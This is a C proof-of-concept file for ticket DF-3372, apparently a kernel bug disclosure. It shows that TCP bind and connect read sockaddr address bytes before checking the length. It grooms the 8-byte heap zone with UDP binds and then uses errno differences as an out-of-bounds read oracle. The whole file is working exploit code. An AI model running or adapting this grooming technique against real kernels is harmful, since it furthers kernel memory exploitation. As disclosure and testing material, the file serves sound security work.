DF-3372 / oob_oracle.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-3372 PoC: sockaddr fields read before sa_len validation in * tcp_usr_bind / tcp_usr_connect / tcp_usr_preconnect (v4) and * tcp6_usr_bind / tcp6_usr_connect (v6) -- sys/netinet/tcp_usrreq.c * * getsockaddr() (sys/kern/uipc_syscalls.c:1513) kmallocs EXACTLY the * user-supplied namelen bytes and copies only that many bytes. * With namelen=2 on a TCP socket, tcp_usr_bind (tcp_usrreq.c:316-321) * reads sin_addr at offsets 4..7 -- 6 bytes past the copied data but * still inside the 8-byte slab chunk (zoneindex(): 2 -> 8-byte class), * i.e. recycled, attacker-influenceable heap contents, BEFORE * in_pcbbind() validates sa_len == 16 (in_pcb.c:648). * * Groom: a UDP bind() with an 8-byte sockaddr allocates the same * 8-byte M_SONAME zone chunk with attacker-controlled bytes 2..7 * (sin_addr) and frees it at syscall exit. The following TCP bind() * with a 2-byte sockaddr reuses the same chunk (same thread, LIFO * free list), so the multicast check reads the groomed address. * * groom sin_addr = 224.0.0.1 -> bind/connect returns EAFNOSUPPORT * groom sin_addr = 8.8.8.8 -> returns EINVAL (in_pcbbind sa_len) * * The v6 bind with namelen=8 reads sin6_addr (offsets 8..23) fully * past the 8-byte chunk into neighboring zone chunks (16-byte * cross-object OOB read; its multicast bit lands on the neighbour's * sa_len byte, so that oracle bit cannot be groomed to 0xff this way). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> static int udp4; static void groom8(unsigned char a, unsigned char b, unsigned char c, unsigned char d) { unsigned char g[8]; g[0] = 8; /* sa_len */ g[1] = AF_INET; /* sa_family */ g[2] = 0x11; g[3] = 0x22; /* sin_port (bogus) */ g[4] = a; g[5] = b; g[6] = c; g[7] = d; /* sin_addr */ bind(udp4, (struct sockaddr *)g, 8); /* alloc + free regardless */ } static int tcp_op(int len, int do_connect) { unsigned char sa[8]; int s, r; sa[0] = len; sa[1] = AF_INET; sa[2] = 0x33; sa[3] = 0x44; s = socket(AF_INET, SOCK_STREAM, 0); if (do_connect) r = connect(s, (struct sockaddr *)sa, len); else r = bind(s, (struct sockaddr *)sa, len); close(s); return (r == 0) ? 0 : errno; } int main(void) { int i, r_mc, r_uc, c_mc, c_uc; udp4 = socket(AF_INET, SOCK_DGRAM, 0); printf("== TCP bind with 2-byte sockaddr (sin_addr@4..7 from recycled chunk) ==\n"); for (i = 0; i < 5; i++) { groom8(224, 0, 0, 1); groom8(224, 0, 0, 1); r_mc = tcp_op(2, 0); groom8(8, 8, 8, 8); groom8(8, 8, 8, 8); r_uc = tcp_op(2, 0); printf("round %d: groom=224.0.0.1 -> errno %d (%s); " "groom=8.8.8.8 -> errno %d (%s) %s\n", i, r_mc, strerror(r_mc), r_uc, strerror(r_uc), (r_mc != r_uc) ? "<== ORACLE FLIP" : ""); } printf("== TCP connect with 2-byte sockaddr (same check @tcp_usr_connect) ==\n"); for (i = 0; i < 5; i++) { groom8(224, 0, 0, 1); groom8(224, 0, 0, 1); c_mc = tcp_op(2, 1); groom8(8, 8, 8, 8); groom8(8, 8, 8, 8); c_uc = tcp_op(2, 1); printf("round %d: groom=224.0.0.1 -> errno %d (%s); " "groom=8.8.8.8 -> errno %d (%s) %s\n", i, c_mc, strerror(c_mc), c_uc, strerror(c_uc), (c_mc != c_uc) ? "<== ORACLE FLIP" : ""); } return (0); } |